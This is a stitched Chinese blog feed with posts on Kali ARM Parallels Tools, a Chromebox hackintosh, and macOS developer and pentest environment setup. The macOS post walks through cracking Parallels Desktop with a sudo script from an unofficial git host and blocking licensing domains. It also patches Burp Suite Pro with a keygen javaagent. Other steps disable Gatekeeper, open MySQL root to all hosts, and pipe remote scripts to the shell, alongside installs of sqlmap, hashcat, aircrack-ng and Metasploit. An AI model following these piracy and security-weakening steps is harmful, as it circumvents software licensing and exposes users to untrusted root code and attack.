报错的居然内容如下(这一段是写给搜索引擎爬虫看的,这样别人搜索报错就可以搜索到这篇文章):
An error occurred while installing the following packages: - linux-headers-6.1.0-kali9-arm64 - dkms - libelf-dev - printer-driver-postscript-hp Install these packages manually and start the ParallelsTools installation again.先手动安装一下好安装的包:
sudo -iapt updateapt install dkms libelf-dev -y接下来的工作重点就是搞定内核头的问题,我们这里缺失的包名为:linux-headers-6.1.0-kali9-arm64:

在 http://old.kali.org/kali/pool/main/l/linux/ 网站里面查找相关的包,下载并安装即可:
# 下载保存为 headers.debwget -O headers.deb http://old.kali.org/kali/pool/main/l/linux/linux-headers-6.1.0-kali9-arm64_6.1.27-1kali1_arm64.deb# 下载对应内核头依赖保存为 common.debwget -O common.deb http://old.kali.org/kali/pool/main/l/linux/linux-headers-6.1.0-kali9-common_6.1.27-1kali1_all.deb# 下载对应内核头依赖保存为 kbuild.debwget -O kbuild.deb http://old.kali.org/kali/pool/main/l/linux/linux-kbuild-6.1_6.1.27-1kali1_arm64.deb# 安装辅助 deb 安装工具apt install gdebi -y# 先安装内核头依赖gdebi common.debgdebi kbuild.deb# 再安装主角 内核头文件gdebi headers.deb# 验证是否安装成功 (这个时候应该提示已经安装成功了)apt install linux-headers-$(uname -r)
现在内核头安装配置好后,回到之前的目录,再次运行 ./install 即可:
cd ~/pdtools sudo -i./install然后就进入安装流程了,一直「回车」安装下去,如果顺利的话会提示安装成功需要重启:
重启一下电脑就可以享受 Parallels Desktop 丝般顺滑了。
还是早期的 GNOME 桌面经典呀,多桌面切换默认桌面命令:
update-alternatives --config x-session-manager
这样安装后多装了一个 Linux 内核,启动时还是选择 linux-headers-6.1.0-kali9-arm64 这个内核,不然 PD Tools 还是不能正常使用:
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 ![]() | 支付宝 ![]() |
国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。
我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。
然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。
在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。
如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。
感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!
]]>最近闲鱼上出现了一些原本搭载着 ChromeOS 的洋垃圾设备,性价比真滴很高,本文就是其中一个性价比比较高的小主机:Asus Chromebox 3 CN65,目前闲鱼上价格只要 799 元左右,且国内应该目前也没有人搞定这个黑苹果,于是国光我就出手了。因为目前最新的 4.x BIOS 的问题确实没少折腾,但还是基本上黑苹果成功了,就分享出来了,当然还有一些细节需要留给后人优化。
国光我最近全身心投入到工作,业余也都把精力投在了我的社区建设上。所以真的没太多时间折腾这些东西了,况且:系统只是工具,我们要学会使用系统去创造价值,而不是沉迷如何安装系统上,这句话也送给大家。最后祝你使用愉快!
型号:Asus Chromebox 3 CN65 (Teemo)
固件:MrChromebox-4.20.1 07/21/2023 (Coreboot BIOS)
CPU:i7 8550U 4C 8T 最大睿频 4.00 GHz Kaby Lake R 架构(移动平台)
核显:Intel UHD 620
接口:全功能 Type-C + DC 供电接口 + HDMI 1.4 + 很多个 USB3.0 接口 + SD 卡槽
电源:官方建议 90W 供电,可 DC 供电也可以 Type-C 供电
硬盘:目前国产的长江存储性价比很高,长江颗粒的 1TB NVME 硬盘
网卡:为了好的黑苹果体验,建议直接换苹果拆机网卡(闲鱼上 50 元左右)
Windows 下日常办公外接 4k 显示器工作其实挺不错的:
鲁大师的跑分也是这个小主机该有的水平:
刚到手的时候还跑过 R23,发现短板是散热,容易撞温度墙,所以理论上有好的散热方案,性能还可以提高不少:
目前驱动的完美度(99%+ 完美度):
目前待解决的问题(交给后人解决 国光我没有精力折腾了):
使用目前最新的 OC 0.9.3 仿造 Macmini 2018 机型,安装了目前官方最新的 macOS 13.4.1 系统:

驱动整体驱动美的,日常办公、写代码、轻度剪辑绰绰有余了:
外接双 4k 显示器正常工作,分别工作在 4k@60hz 和 4k@30hz,且 HiDPi 均正常工作,显示效果细腻:
基本上设备的各个硬件都正常驱动,包括 WiFi、蓝牙、核显、NVME 硬盘等:
其中 USB 接口已经定制好, 使用国光我开源的 EFI 到手直接使用即可:
因为换了苹果的拆机网卡原因,所以蓝牙、WiFi、隔空投送、接力、随航、通用控制都是正常驱动的:
目前正常工作,写入了 48:F1:7F:E8:17:AF 虚拟 Mac 地址:
如果要修改为自己网卡的真实 Mac 地址(方法来自于网友 axbby ) 方法如下:
编辑 OC/Kexts/RealtekRTL8111.kext/Contents/Info.plist文件,找到 fallbackMAC 然后把机器底部的 Mac (或者 Windows 下查看也可以) 填进去,像下面这样。(机器底部的 LAN MAC,每 2 位隔开)
<key>fallbackMAC</key><string>48:F1:7F:E8:17:AF</string>这个小主机的 Windows 下 3.5mm 耳机接口的驱动都需要操作一番,所以比较小众,macOS 下暂时没通用方法驱动,可能需要定制啥的,这块就是国光的知识盲区了,不过目前来看使用 10块钱的 USB 声卡,或者显示器自带的声音输出也绰绰有余了:
最后记得使用 MonitorControl 来设置调节显示器的亮度和声音:
这个小主机的硬盘接口是双协议的,支持 SATA 和 NVME 协议,但是 NVME 协议的硬盘速度有所阉割,不过日常也足够这个小主机使用了:
使用 Sensei 测试的硬盘结果也差不多:
Geekbench 6 CPU 单核跑分:1277 多核跑分:3642
单核跑分略高于 Mac Pro 2019 的 W-3233 CPU ,多核跑分也比苹果官方的 Mac mini 2018 要强,整体大概是下面这些设备的性能水平:
Geekbench 6 GPU UHD 620 Metal 跑分:5209 OpenCL 跑分:3819
核显就这个水平了,也不能强求太多,反正日常写代码够用了,也是可以丝滑的解码观看视频的:
CPU 的温度、功耗都是可以正常识别到的:
但是风扇转速这块传感器目前没有成功驱动,导致无法获取风扇转速,从而我们也无法手动在 macOS 下设置风扇的转速:
全核心满载的话,因为是单热管、单风扇的原因,毕竟容易撞温度墙(很容易接近 100℃),所以会功耗会下降很多(35W -> 20W):
所以这个小主机不适合全核长时间高负荷干活,但是日常办公、写代码、娱乐冲浪这个性能还是绰绰有余的了,就算再不济,当个电视盒子也是很优雅的。
优点
缺点
可能需要自己刷 Coreboot 第三方 BIOS 有一定门槛
HDMI 1.4 接口有点小遗憾,不能跑满 4k @ 60hz
单热管散热有点单薄,好在这个 U 发热不是很大
UHD 620 的核显性能比不上 NUC 8 的 lris 锐炬核显
黑苹果完美度目前还比不上 NUC 8(风扇转速、4k 显示细腻度、SD 卡槽驱动)
总结:总的来说是一个性价比很高的黑苹果小主机,虽然黑苹果完美度不如 NUC8,但好歹也华硕大厂出品,质量做工还是不错的,最关键的是价格便宜,这个价格要啥自行车!
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 ![]() | 支付宝 ![]() |
国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光
亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。
我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。
然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。
在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。
如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。
感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!
]]>历史上国光就有记录 macOS 配置的习惯,之前也写过两篇文章,但是都有点过时了,macOS Ventura 13 变化挺大,正巧最近又入手了 MacBook Pro 14 寸 M1 Pro 的 ARM 芯片的 Mac,所以就单独写了本篇文章记录一下,也顺便给其他网友做个配置参考,让大家少走一点配置环境的弯路。
pwpolicy -clearaccountpoliciessudo spctl --master-disablexcode-select --install# 设置启动坞动画时间设置为 0.5 秒 defaults write com.apple.dock autohide-time-modifier -float 0.5 && killall Dock# 设置启动坞响应时间最短defaults write com.apple.dock autohide-delay -int 0 && killall Dock# 恢复启动坞默认动画时间defaults delete com.apple.dock autohide-time-modifier && killall Dock# 恢复默认启动坞响应时间defaults delete com.apple.Dock autohide-delay && killall Dock# 设置列数defaults write com.apple.dock springboard-columns -int 7# 设置行数defaults write com.apple.dock springboard-rows -int 6# 重启 Dock 生效killall Dock# 恢复默认的列数和行数defaults write com.apple.dock springboard-rows Defaultdefaults write com.apple.dock springboard-columns Default# 重启 Dock 生效killall Dock可以考虑再安装个第三方的输入法,目前搜狗输入法在 Mac 上还算是比较老实,可以考虑试试看:
重复率最快,,延迟设置最低,这样可以提高工作效率:
触控板干活效率必备,资深 macOS 用户必开的一个隐藏选项:
主题选择自带的 「Minima」和「Compact」都还是不错的」:
新建一个自己的配置,并设置为默认「Set as Default」,在新的配置里面可以进行字体相关的设置,字体大小国光设置的是 16 号,使用的是 macOS 自带的 Monaco 高颜值字体:
国光的窗口设置一些喜好:
效果图:
配环境前确保网络是 OK 的,ARM 架构的 MacBook 可以直接使用 iOS 和 iPad OS 上经典的 🚀:
同时一些软件是破解版,屏蔽 Hosts 大法也太不优雅了,还是搞个正经的防火墙软件比较靠谱,国光这里主推:Little Snitch
这个破解版不确定多不多,但是正版的序列号貌似可以多人复用,所以价格理论上也不贵的,师傅们可以自己去了解一下。
如果要使用 Github 协作项目的话,那么 GitHub 会根据我们本地的 Git 配置去箱显示对应的 commit 记录的头像:
# 配置邮箱 ➜ git config --global user.email "[email protected]"# 配置用户名➜ git config --global user.name "国光"下图中间两个 commit 记录没有头像的原因就是没有配置上述邮箱的问题造成的:
macOS 自带的 vim 是没有任何配色的,可以下面是国光常用的配色方案,先在用户目录下新建一个 vim 的配置文件:
vim ~/.vimrc内容如下:
set nu " 显示行号colorscheme desert " 颜色显示方案,其他方案查看:ls /usr/share/vim/vim*/colors syntax on " 打开语法高亮简单使用 iPython 还是建议装一下,平时调试会比较方便:
➜ brew install ipython不过个人还是建议使用 pyenv 来管理 Python。
pyenv 是一个强大 Python 包管理工具,可以灵活地切换各种 Python 版本,Linux 和 macOS 强烈建议使用 pyenv 来管理我们的 Python 版本,优雅高效且不会破坏掉系统自带的 Python 环境:
# 安装 pyenv➜ brew install pyenv接着为 pyenv 配置 shell 环境,提高工作效率,可自动联想 Tab 补全我们本地安装的 Python 版本:
echo 'eval "$(pyenv init -)"' >> ~/.zshrc安装 Python 也很简单:
# 查看已经安装的Python版本➜ pyenv versions# 查看当前的 Python 版本➜ pyenv version# 查看可安装的版本➜ pyenv install -l# 安装与卸载 pypy3.8-7.3.11➜ pyenv install pypy3.8-7.3.11➜ pyenv uninstall pypy3.8-7.3.11版本切换确实很方便,所安装的版本都在 ~/.pyenv/versions 目录下:
# global 全局设置 一般不建议改变全局设置➜ pyenv global <python版本># shell 会话设置 只影响当前的shell会话➜ pyenv shell <python版本># 取消 shell 会话的设置➜ pyenv shell --unset# local 本地设置 只影响所在文件夹➜ pyenv local <python版本>pyenv 的 global、local、shell 的优先级关系是:shell > local > global
无论是 Oracle JDK 还是近期比较流行的 Azul Zulu JDK,我们都可以先自己安装一遍,默认都在安装在
/Library/Java/JavaVirtualMachines 目录下:
所以我们切换版本时候就不是很优雅,这里推荐使用 jevn 来切换我们的 Java 版本,类似于 pyenv 一样,很优雅:
# 安装 jenvbrew instal jenvbrew 安装后我们得配置一下 zshrc 的环境:
echo 'export PATH="$HOME/.jenv/bin:$PATH"' >> ~/.zshrcecho 'eval "$(jenv init -)"' >> ~/.zshrc然后新开个标签页即可正常使用 jenv 来管理我们的 Java 环境了,下面是 jenv 的基本使用:
# 查看当前的 Java 版本jenv version# 手动添加本地的 Java Home 路径jenv add /Library/Java/JavaVirtualMachines/jdk-20.jdk/Contents/Home/jenv add /Library/Java/JavaVirtualMachines/jdk1.8.0_202.jdk/Contents/Home/jenv add /Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/jenv add /Library/Java/JavaVirtualMachines/zulu-17.jdk/Contents/Home/# 列出目前 jenv 所有可切换管理的版本jenv versions#global 全局设置 一般不建议改变全局设置➜ jenv global <java 版本># shell 会话设置 只影响当前的shell会话➜ jenv shell <java 版本># 取消 shell 会话的设置➜ jenv shell --unset# local 本地设置 只影响所在文件夹➜ jenv local <java 版本>下面是简单的 jenv 使用演示效果图,真的很优雅:
国光我 Nodejs 用的不多,主要就用来跑跑 Hexo 博客和使用 Gitbook 来写点知识点,又因为 Node.js 版本也比较凌乱,所以这里主要是通过 nvm 来进行配置管理。
# 安装 nvm➜ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.3/install.sh | bash# 新开个终端,输入下面命令,完善 zsh 补全配置export NVM_DIR="$HOME/.nvm"[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"[ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion"# 查看版本信息➜ zsh➜ nvm --version0.39.3# 查看当前 node 的版本➜ nvm version # 安装最新稳定版 node➜ nvm install stable# 列出所有远程服务器的版本➜ nvm ls-remote# 安装指定版本➜ nvm install v18.16.1➜ nvm install <version># 列出所有已安装的版本➜ nvm ls# 卸载指定的版本➜ nvm uninstall <version># 切换使用指定的版本node➜ nvm use <version># 显示当前的版本➜ nvm currentHomebrew 是 macOS(或 Linux)缺失的软件包的管理器,开发必备神器,安装也比较简单(网络 OK 的情况):
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"安装完成后,如果没有 brew 命令的话,就继续配置 zsh 环境变量(上面安装完会提示 COPY 运行即可):
(echo; echo 'eval "$(/opt/homebrew/bin/brew shellenv)"') >> /Users/security/.zprofilebrew 的基本使用:
# 更新 Homebrew➜ brew update# 搜索相关的包➜ brew search [关键词] # 查看包的信息➜ rew info [软件名] # 查看已安装的包➜ brew list# 更新某个软件➜ brew upgrade [软件名]# 清理所有软件的旧版➜ brew cleanup# 卸载某个软件➜ brew uninstall [软件名]brew 常用软件推荐:
# 安装 brew-caskbrew install cask# 空格预览 markdownbrew install qlmarkdown# 空格高亮预览代码文件brew install syntax-highlightOh My Zsh 这个 zsh 美化增强脚本,来让自己的终端 Shell 颜值更逼格:
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
Zsh 插件推荐:
# 目录切换神器➜ brew install autojump# 自动建议提示接下来可能要输入的命令git clone https://github.com/zsh-users/zsh-autosuggestions $ZSH_CUSTOM/plugins/zsh-autosuggestions# 命令语法检测git clone https://github.com/zsh-users/zsh-syntax-highlighting $ZSH_CUSTOM/plugins/zsh-syntax-highlighting在 ~/.zshrc 中配置启用这些插件:
plugins=(其他的插件...... autojump zsh-autosuggestions zsh-syntax-highlighting)其他功能配置:
# 关掉 URL 反斜杠转义echo "DISABLE_MAGIC_FUNCTIONS=true" >> ~/.zshrc# 禁用 on my zsh 自动更新echo " zstyle ':omz:update' mode disabled" >> ~/.zshrc安装 MySQL:
# 搜索可以安装的版本➜ brew search mysql# 安装对应的版本➜ brew install [email protected]# 写入环境变量echo 'export PATH="/opt/homebrew/opt/[email protected]/bin:$PATH"' >> ~/.zshrc# 为了让编译器找到 [email protected] 还需要写入echo 'export LDFLAGS="-L/opt/homebrew/opt/[email protected]/lib"' >> ~/.zshrcecho 'export CPPFLAGS="-I/opt/homebrew/opt/[email protected]/include"' >> ~/.zshrc# 为了让 pkg-config 找到 [email protected] 还需要写入echo 'PKG_CONFIG_PATH="/opt/homebrew/opt/[email protected]/lib/pkgconfig"' >> ~/.zshrcMySQL 服务相关:
# 查看 M有SQL 服务状态➜ brew services info [email protected]➜ mysql.server status# 启动 MySQL 服务➜ brew services start [email protected]➜ mysql.server start# 重启 MySQL 服务➜ brew services restart [email protected]➜ mysql.server restart# 停止 MySQL 服务➜ brew services stop [email protected]➜ mysql.server stop接着初始化 MySQL 设置,主要配置一下 root 密码已经是否远程登录登,根据提示来操作就行了:
mysql_secure_installation
数据库外连,这是个可选操作 根据自己的实际情况自行决定是否开启(有被攻击的风险):
mysql > grant all on *.* to root@'%' identified by '你设置的密码' with grant option;mysql > flush privileges;大家根据实际情况来决定是否开启外连。
# 安装 redis➜ brew install redis# 查看 redis 服务状态➜ brew services info redis# 启动 redis 服务端➜ brew services start redis# 启动 redis 客户端➜ redis-cli# 编辑默认配置文件➜ sudo vim /opt/homebrew/etc/redis.conf终端命令行下代理神器,可以让指定的命令走设置好的代理,内网渗透、XX 上网必备工具:
# 安装➜ brew install proxychains-ng# 配置文件➜ vim /opt/homebrew/etc/proxychains.conf将结尾的 socks4 127.0.0.1 9095 改为我们自己的代理端口即可。
下面是常用的几个命令:
# 代理终端基本示例➜ proxychains4 curl https://www.google.com.hk# 全局代理 bash shell➜ proxychains4 -q /bin/bash# 全局代理 zsh shell➜ proxychains4 -q /bin/zsh
如果发现你的 proxychains 并不能代理的话,尝试关掉 SIP 后再试试看。
Gitbook 确实是一个写文档的神器,国光之前是必装的,目前逐步使用 mkdocs 来替代 Gitbook,不过还是要记录一下 Gitbook 的使用,安装还是有坑的:就是使用高版本的 Node.js 安装会出各种玄学问题,换 10.X 的版本即可:
# 安装并切换老版本的 Node.js➜ nvm install v10.24.1➜ nvm use v10.24.1# 安装苹果官方的 rosetta 兼容性工具/usr/sbin/softwareupdate --install-rosetta --agree-to-license# 安装 Gitbook-cli➜ npm install -g gitbook-cli# 验证版本并安装相关依赖➜ gitbook -VCLI version: 2.3.2GitBook version: 3.2.3MkDoc 是有一个优雅的写文档神器,使用 Python 安装很方便:
# pyenv 切换合适的版本➜ pyenv local 3.9.17# 安装 mkdocs➜ pip install mkdocs# 安装 material 主题➜ pip install mkdocs-material快速简约强大的博客框架:
# 安装 hexo➜ brew install hexo# Hexo 基础命令➜ hexo clean # 清除缓存➜ hexo g # 生成静态文件➜ hexo s # 启动 Hexo 服务# 使用 brew cask 可以很快的安装好 Docker 官方客户端➜ brew install --cask docker# 跑个 Kali Linux 看看➜ docker pull docker.io/kalilinux/kali-rolling➜ docker run --name "KaliLinux" --tty --interactive kalilinux/kali-rolling
OrbStack 是一种在 macOS 上运行 Docker 容器和 Linux 机器的快速、轻便且简单的方法。可以将其视为强大的 WSL 和 Docker Desktop 替代方案,全部集成在一个易于使用的应用程序中。
# Homebrew Cask 安装更优雅一点➜ brew install orbstack# docker 切换 OrbStack➜ docker context use orbstack
Docker 的一些镜像国内拉取很慢,我们可以配置一下一些国内的加速源:
{ "ipv6": true, "registry-mirrors": [ "http://hub-mirror.c.163.com", "https://registry.docker-cn.com", "https://mirror.baidubce.com", "https://kn77wnbv.mirror.aliyuncs.com", "https://y0qd3iq.mirror.aliyuncs.com", "https://6kx4zyno.mirror.aliyuncs.com", "https://0dj0t5fb.mirror.aliyuncs.com", "https://docker.nju.edu.cn", "https://kuamavit.mirror.aliyuncs.com", "https://y0qd3iq.mirror.aliyuncs.com", "https://docker.mirrors.ustc.edu.cn" ]}速度果然确快了很多:
Parallels Desktop for mac Crack 18.1.1.53328 破解项目:https://git.icrack.day/somebasj/ParallelsDesktopCrack.git
根据教程下载指定版本的 PD:https://download.parallels.com/desktop/v18/18.1.1-53328/ParallelsDesktop-18.1.1-53328.dmg
正常安装好,先不要登录 PD 账号。接着克隆项目并运行自动化破解脚本:
# 克隆项目地址➜ git clone https://git.icrack.day/somebasj/ParallelsDesktopCrack.git# 进项目文件夹并运行脚本cd ParallelsDesktopCrack && chmod +x ./install.sh && sudo ./install.sh破解过程还是很顺利的,Parallels Desktop 18 确实 YYDS:
我们需要屏蔽以下的 Hosts:
127.0.0.1 download.parallels.com127.0.0.1 update.parallels.com127.0.0.1 desktop.parallels.com127.0.0.1 download.parallels.com.cdn.cloudflare.net127.0.0.1 update.parallels.com.cdn.cloudflare.net127.0.0.1 desktop.parallels.com.cdn.cloudflare.net127.0.0.1 www.parallels.cn127.0.0.1 www.parallels.com127.0.0.1 www.parallels.de127.0.0.1 www.parallels.es127.0.0.1 www.parallels.fr127.0.0.1 www.parallels.nl127.0.0.1 www.parallels.pt127.0.0.1 www.parallels.ru127.0.0.1 www.parallelskorea.com127.0.0.1 reportus.parallels.com127.0.0.1 parallels.cn127.0.0.1 parallels.com127.0.0.1 parallels.de127.0.0.1 parallels.es127.0.0.1 parallels.fr127.0.0.1 parallels.nl127.0.0.1 parallels.pt127.0.0.1 parallels.ru127.0.0.1 parallelskorea.com127.0.0.1 pax-manager.myparallels.com127.0.0.1 myparallels.com127.0.0.1 my.parallels.com但是 Parallels Desktop 会很猥琐的去偷偷取消注释我们的 hosts 文件,所以我们一上来就安利的 Little Snitch 就很优雅,很有必要了。
最后发现 M1 下的 PD 虚拟机 120Hz 的 Windows 体验确实很丝滑:
# tree 命令列文件也很方便➜ brew install tree# 查看系统状态信息➜ brew install neofetch➜ brew install fastfetch# ip 命令 查看ip地址很方便➜ brew install iproute2mac# frps 与 frpc 穿透神器➜ brew install frps # 配置文件 frps -c /opt/homebrew/etc/frp/frps.ini➜ brew install frpc # 配置文件 frpc -c /opt/homebrew/etc/frp/frpc.ini# 图片压缩使用开源的 imageoptim 很方便➜ brew install imagemagick# you-get 数码下载神器➜ brew install ffmpeg➜ brew install you-get# 复制克隆离线镜像网站➜ brew install httrack# 安装 nmap 与自带的 ncat 命令brew install nmap# 安装扫描速度更快的 masscanbrew install masscan# 使用 ARP 协议来发现本地网络上的 IPv4 主机并指纹识别➜ brew install arp-scan➜ arp-scan --localnetInterface: en0, type: EN10MB, MAC: c8:89:f3:b3:24:1d, IPv4: 10.1.1.180Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)10.1.1.100:0c:29:7c:19:2fVMware, Inc.10.1.1.10a0:36:9f:89:ad:30Intel Corporate10.1.1.1100:0c:29:b1:fa:11VMware, Inc.10.1.1.10000:11:32:fa:6e:7cSynology Incorporated10.1.1.218a8:a1:59:9f:57:aaASRock Incorporation10.1.1.128ec:4d:3e:86:cb:2eBeijing Xiaomi Mobile Software Co., Ltd10.1.1.19978:11:dc:7d:d5:9aXIAOMI Electronics,CO.,LTD# go 编写的快速高效的端口扫描工具➜ brew install naabu# 快速被动子域枚举工具➜ brew install subfinder# 新生代子域名检测工具➜ brew install findomain# 基本上 sqlmap 足够了brew install sqlmap# 基本上 dirsearch 足够使用了pip3 install dirsearch# binwalk CTF MISC 神器brew install binwalk# EXIF 元数据信息查看brew install exiftool# brew 安装➜ brew install --cask android-platform-tools# 密码破解神器➜ brew install hashcat# 经典老牌的 UNIX 密码破解工具➜ brew install john# WiFi 无线安全必备➜ brew install aircrack-ng下载最新版本的安装包:https://osx.metasploit.com/metasploitframework-latest.pkg
安装很简单,双击 metasploitframework-latest.pkg 安装包,一步步往下安装就可以了,macOS 下手动升级 Metasploit 版本国光这里建议也这样升级,比较方便省心。
macOS 下 Metasploit 的可执行文件的位置为:/opt/metasploit-framework/bin,所以我们需要收到配置一下环境变量:
echo 'export PATH="$PATH:/opt/metasploit-framework/bin/"' >> ~/.zshrc接着新开个终端即可正常识别到 msf 系列的命令了:
➜ ~ msfconsole ** Welcome to Metasploit Framework Initial Setup ** Please answer a few questions to get started.# 输入 y 确定初始化一个新的数据库Would you like to use and setup a new database (recommended)? y# 认证信息保存在这里,我们了解一下就行Writing client authentication configuration file /Users/security/.msf4/db/pg_hba.conf
首先官网下载截止目前(2023 年 07 月 09 日)最新的稳定版 2023.06.2:
先正常安装打开的话是提示需要激活的,我们关掉 BP 先不管它。使用之前的 TrojanAZhen/BurpSuitePro-2.1 注册机并不能正常工作了,这是因为从 2022.9 开始提示 BP 官方换了注册机制,所以我们得使用新的注册机才可以。
新版注册机的地址为:h3110w0r1d-y/BurpLoaderKeygen
下载下来,将其放入到 BP Jar 包的同级目录下:
首先先带着注册机运行一下 BP:
cd /Applications/Burp\ Suite\ Professional.app/Contents/Resources/app && "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" "--add-opens=java.desktop/javax.swing=ALL-UNNAMED" "--add-opens=java.base/java.lang=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED" "-javaagent:BurpLoaderKeygen.jar" "-jar" "/Applications/Burp Suite Professional.app/Contents/Resources/app/burpsuite_pro.jar"提示需要激活,先放这儿:
另开一个终端,运行注册机:
/Applications/Burp\ Suite\ Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java -jar /Applications/Burp\ Suite\ Professional.app/Contents/Resources/app/BurpLoaderKeygen.jar像之前一样,常规走一下注册流程即可:
但是不能每次启动都需要借助这两串命令行吧,这也太不优雅了,所以需要我们编辑 vmoptions.txt 文件,直接将之前的参数追加到 vmoptions.txt 后面:
echo "--add-opens=java.desktop/javax.swing=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "--add-opens=java.base/java.lang=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "-javaagent:BurpLoaderKeygen.jar" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txtecho "-Xmx2048m" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txt效果如下:
之后直接在应用程序里面启动 BP 就可以了,和官方正版使用毫无差别,优雅永不过时~
使用 Docker 搭建 Acunetix Web Vulnerability Scanner(AWVS)扫描器的很方便的, 我的 M1 Macbook 测试也可以跑 x86 的 Dokcer 容器:
# 拉取 awvs 镜像docker pull secfa/docker-awvs# 将 容器的 3443 端口映射到 13443 端口docker run -d --name "AWVS" -p 13443:3443 --cap-add LINUX_IMMUTABLE secfa/docker-awvs搭建完成后访问:https://YOUR_IP:13443/ 即可
默认的用户名为:admin@admin.com 密码为:Admin123
Tenable Nessus® Essentials 是一款免费漏洞扫描程序,可作为漏洞评估的绝佳切入点。可获得无异于 Nessus Professional 订阅用户所享的强大扫描程序,支持扫描 16 个 IP 也足够我们个人使用了。
简而言之就是 Essentials 是 适用于教育工作者、学生以及网络安全领域的入门从业人员,功能和 Nessus Professional 没区别,只是批量扫描的 IP 变少了。
首先我们得使用企业域名注册获取激活码,注册地址:https://zh-cn.tenable.com/products/nessus/nessus-essentials
小 Tips:国内的 qq 和 163、gmail 这类大众域名多半是不行的,我这里使用的是 com 域名绑定的 QQ 邮箱注册的,这样很容易获取到激活码。
有激活码的话,Docker 搭建 Nessus 就简单很多了。
拉取镜像创建docker pull tenableofficial/nessus创建容器映射到宿主机的 8834 端口docker run -d --name "Nessus" -p 18834:8834 -e ACTIVATION_CODE=<你的激活码> -e USERNAME=<自定义用户名> -e PASSWORD=<自定义密码> tenableofficial/nessus搭建完成后访问:https://YOUR_IP:18834/ 即可:
访问出现没有出现 Nessus 界面?(移动网络可能会初始化识别,建议电信或者企业专线网络,或者挂代理或者软路由)
docker exec -it Nessus bashcd /opt/scripts./configure_scanner.py # 重新初始化操作搭建好看了,看了可以看到我们的免费激活码支持做多 16 台设备,且插件都可以保持更新到最新版本,且激活码有效期有好几年呢,足够我们日常使用了:
Google 新开源的漏洞扫描器,主要使用了 OSV-Scanner 来查找项目依赖漏洞。
漏洞来源全球各大漏洞库:
